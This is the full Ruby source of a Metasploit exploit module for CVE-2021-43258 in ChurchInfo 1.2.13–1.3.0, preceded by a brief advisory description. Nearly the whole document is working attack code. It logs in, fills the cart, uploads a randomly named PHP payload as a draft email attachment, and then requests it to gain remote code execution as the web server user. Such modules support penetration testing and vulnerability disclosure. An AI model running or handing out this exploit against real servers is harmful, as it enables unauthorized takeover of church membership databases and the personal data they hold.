This Metasploit module exploits the logic in the CartView.php page when crafting a draft email with an attachment. By uploading an attachment for a draft email, the attachment will be placed in the /tmp_attach/ folder of the ChurchInfo web server, which is accessible over the web by any user. By uploading a PHP attachment and then browsing to the location of the uploaded PHP file on the web server, arbitrary code execution as the web daemon user (e.g. www-data) can be achieved.
advisories | CVE-2021-43258
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ChurchInfo 1.2.13-1.3.0 Authenticated RCE',
'Description' => %q{
This module exploits the logic in the CartView.php page when crafting a draft email with an attachment.
By uploading an attachment for a draft email, the attachment will be placed in the /tmp_attach/ folder of the
ChurchInfo web server, which is accessible over the web by any user. By uploading a PHP attachment and
then browsing to the location of the uploaded PHP file on the web server, arbitrary code
execution as the web daemon user (e.g. www-data) can be achieved.
},
'License' => MSF_LICENSE,
'Author' => [ 'm4lwhere <[email protected]>' ],
'References' => [
['URL', 'http://www.churchdb.org/'],
['URL', 'http://sourceforge.net/projects/churchinfo/'],
['CVE', '2021-43258']
],
'Platform' => 'php',
'Privileged' => false,
'Arch' => ARCH_PHP,
'Targets' => [['Automatic Targeting', { 'auto' => true }]],
'DisclosureDate' => '2021-10-30', # Reported to ChurchInfo developers on this date
'DefaultTarget' => 0,
'Notes' => {
'Stability' => ['CRASH_SAFE'],
'Reliability' => ['REPEATABLE_SESSION'],
'SideEffects' => ['ARTIFACTS_ON_DISK', 'IOC_IN_LOGS']
}
)
)
# Set the email subject and message if interested
register_options(
[
Opt::RPORT(80),
OptString.new('USERNAME', [true, 'Username for ChurchInfo application', 'admin']),
OptString.new('PASSWORD', [true, 'Password to login with', 'churchinfoadmin']),
OptString.new('TARGETURI', [true, 'The location of the ChurchInfo app', '/churchinfo/']),
OptString.new('EMAIL_SUBJ', [true, 'Email subject in webapp', 'Read this now!']),
OptString.new('EMAIL_MESG', [true, 'Email message in webapp', 'Hello there!'])
]
)
end
def check
if datastore['SSL'] == true
proto_var = 'https'
else
proto_var = 'http'
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'Default.php'),
'method' => 'GET',
'vars_get' => {
'Proto' => proto_var,
'Path' => target_uri.path
}
)
unless res
return CheckCode::Unknown('Target did not respond to a request to its login page!')
end
# Check if page title is the one that ChurchInfo uses for its login page.
if res.body.match(%r{<title>ChurchInfo: Login</title>})
print_good('Target is ChurchInfo!')
else
return CheckCode::Safe('Target is not running ChurchInfo!')
end
# Check what version the target is running using the upgrade pages.
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_14To1_3_0.php'),
'method' => 'GET'
)
if res && (res.code == 500 || res.code == 200)
return CheckCode::Vulnerable('Target is running ChurchInfo 1.3.0!')
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_13To1_2_14.php'),
'method' => 'GET'
)
if res && (res.code == 500 || res.code == 200)
return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.14!')
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_12To1_2_13.php'),
'method' => 'GET'
)
if res && (res.code == 500 || res.code == 200)
return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.13!')
else
return CheckCode::Safe('Target is not running a vulnerable version of ChurchInfo!')
end
end
#
# The exploit method attempts a login, adds items to the cart, then creates the email attachment.
# Adding items to the cart is required for the server-side code to accept the upload.
#
def exploit
# Need to grab the PHP session cookie value first to pass to application
vprint_status('Gathering PHP session cookie')
if datastore['SSL'] == true
vprint_status('SSL is true, changing protocol to HTTPS')
proto_var = 'https'
else
vprint_status('SSL is false, leaving protocol as HTTP')
proto_var = 'http'
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'Default.php'),
'method' => 'GET',
'vars_get' => {
'Proto' => proto_var,
'Path' => datastore['RHOSTS'] + ':' + datastore['RPORT'].to_s + datastore['TARGETURI']
},
'keep_cookies' => true
)
# Ensure we get a 200 from the application login page
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to reach the ChurchInfo login page (response code: #{res.code})")
end
# Check that we actually are targeting a ChurchInfo server.
unless res.body.match(%r{<title>ChurchInfo: Login</title>})
fail_with(Failure::NotVulnerable, 'Target is not a ChurchInfo!')
end
# Grab our assigned session cookie
cookie = res.get_cookies
vprint_good("PHP session cookie is #{cookie}")
vprint_status('Attempting login')
# Attempt a login with the cookie assigned, server will assign privs on server-side if authenticated
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'Default.php'),
'method' => 'POST',
'vars_post' => {
'User' => datastore['USERNAME'],
'Password' => datastore['PASSWORD'],
'sURLPath' => datastore['TARGETURI']
}
)
# A valid login will give us a 302 redirect to TARGETURI + /CheckVersion.php so check that.
unless res && res.code == 302 && res.headers['Location'] == datastore['TARGETURI'] + '/CheckVersion.php'
fail_with(Failure::UnexpectedReply, "#{peer} - Check if credentials are correct (response code: #{res.code})")
end
vprint_good("Location header is #{res.headers['Location']}")
print_good("Logged into application as #{datastore['USERNAME']}")
vprint_status('Attempting exploit')
# We must add items to the cart before we can send the emails. This is a hard requirement server-side.
print_status('Navigating to add items to cart')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'SelectList.php'),
'method' => 'GET',
'vars_get' => {
'mode' => 'person',
'AddAllToCart' => 'Add+to+Cart'
}
)
# Need to check that items were successfully added to the cart
# Here we're looking through html for the version string, similar to:
# Items in Cart: 2
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to add items to cart via HTTP GET request to SelectList.php (response code: #{res.code})")
end
cart_items = res.body.match(/Items in Cart: (?<cart>d)/)
unless cart_items
fail_with(Failure::UnexpectedReply, "#{peer} - Server did not respond with the text 'Items in Cart'. Is this a ChurchInfo server?")
end
if cart_items['cart'].to_i < 1
print_error('No items in cart detected')
fail_with(Failure::UnexpectedReply,
'Failure to add items to cart, no items were detected. Check if there are person entries in the application')
end
print_good("Items in Cart: #{cart_items}")
# Uploading exploit as temporary email attachment
print_good('Uploading exploit via temp email attachment')
payload_name = Rex::Text.rand_text_alphanumeric(5..14) + '.php'
vprint_status("Payload name is #{payload_name}")
# Create the POST payload with required parameters to be parsed by the server
post_data = Rex::MIME::Message.new
post_data.add_part(payload.encoded, 'application/octet-stream', nil,
"form-data; name="Attach"; filename="#{payload_name}"")
post_data.add_part(datastore['EMAIL_SUBJ'], '', nil, 'form-data; name="emailsubject"')
post_data.add_part(datastore['EMAIL_MESG'], '', nil, 'form-data; name="emailmessage"')
post_data.add_part('Save Email', '', nil, 'form-data; name="submit"')
file = post_data.to_s
file.strip!
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'CartView.php'),
'method' => 'POST',
'data' => file,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
)
# Ensure that we get a 200 and the intended payload was
# successfully uploaded and attached to the draft email.
unless res.code == 200 && res.body.include?("Attach file:</b> #{payload_name}")
fail_with(Failure::Unknown, 'Failed to upload the payload.')
end
print_good("Exploit uploaded to #{target_uri.path + 'tmp_attach/' + payload_name}")
# Have our payload deleted after we exploit
register_file_for_cleanup(payload_name)
# Make a GET request to the PHP file that was uploaded to execute it on the target server.
print_good('Executing payload with GET request')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'tmp_attach', payload_name),
'method' => 'GET'
)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end